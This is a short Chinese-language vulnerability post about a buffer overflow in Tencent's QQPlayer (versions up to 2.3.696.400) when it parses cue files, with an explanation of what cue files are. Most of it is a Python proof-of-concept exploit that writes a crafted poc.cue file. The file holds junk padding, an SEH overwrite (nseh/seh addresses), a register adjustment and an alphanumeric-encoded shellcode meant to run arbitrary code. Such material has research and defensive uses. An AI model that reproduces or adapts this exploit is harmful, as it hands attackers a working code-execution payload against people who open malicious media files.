QQ影音 (QQPlayer) 是腾讯公司推出的一款支持任何格式影片和音乐文件的本地播放器。QQPlayer在处理cue文件时存在缓冲区溢出漏洞,可能导致执行任意代码。
注:cue文件cue文件(cuesheet)是指光盘映像(镜像)辅助文件或称标记文件,按照文本文件格式编制。它在刻录光盘映像文件时,起很重要的作用。它可以指挥刻录软件刻什么格式,刻录那些内容,从哪里开始,到哪里结束,附加什么信息等等。有了cue文件,既可以减少刻录的准备工作以提高刻录效率,又可以保证刻录的准确性。

[+]info:
~~~~~~~~~
# Title: QQPlayer cue File Buffer Overflow Exploit
# Author: Lufeng Li of Neusoft Corporation
# Vendor: www.qq.com
# Platform: Windows XPSP3 Chinese Simplified
# Tested: QQPlayer 2.3.696.400
# Vulnerable: QQPlayer<=2.3.696.400p1

[+]poc:
~~~~~~~~~

#!/usr/bin/env python

#################################################################
#
# Title: QQPlayer cue File Buffer Overflow Exploit
# Author: Lufeng Li of Neusoft Corporation
# Vendor: www.qq.com
# Platform: Windows XPSP3 Chinese Simplified
# Tested: QQPlayer 2.3.696.400
# Vulnerable: QQPlayer<=2.3.696.400p1
#
#################################################################
# Code :

head = '''FILE "'''
junk = "A" * 780
nseh ="\x42\x61\x21\x61"
seh  ="\xa9\x9e\x41\x00"
adjust="\x32\x42\x61\x33\xca\x83\xc0\x10"
shellcode=("hffffk4diFkTpj02Tpk0T0AuEE2C4s4o0t0w174t0c7L0T0V7L2z1l131o2q1k2D1l081o"
           "0v1o0a7O2r0T3w3e1P0a7o0a3Y3K0l3w038N5L0c5p8K354q2j8N5O00PYVTX10X41PZ41"
           "H4A4I1TA71TADVTZ32PZNBFZDQC02DQD0D13DJE2C5CJO1E0G1I4T1R2M0T1V7L1TKL2CK"
           "NK0KN2EKL08KN1FKO1Q7LML2N3W46607K7N684H310I9W025DOL1S905A4D802Z5DOO01")
junk_="R"*8000
foot ='''.avi" VIDEO'''+"\x0a"'''TRACK 02 MODE1/8888'''+"\x0a"+"INDEX 08 08:08:08"
payload=head+junk+nseh+seh+adjust+shellcode+junk_+foot

fobj = open("poc.cue","w")
fobj.write(payload)
fobj.close()


[+]Reference:
~~~~~~~~~
http://www.exploit-db.com/exploits/14431
http://baike.baidu.com/view/727999.htm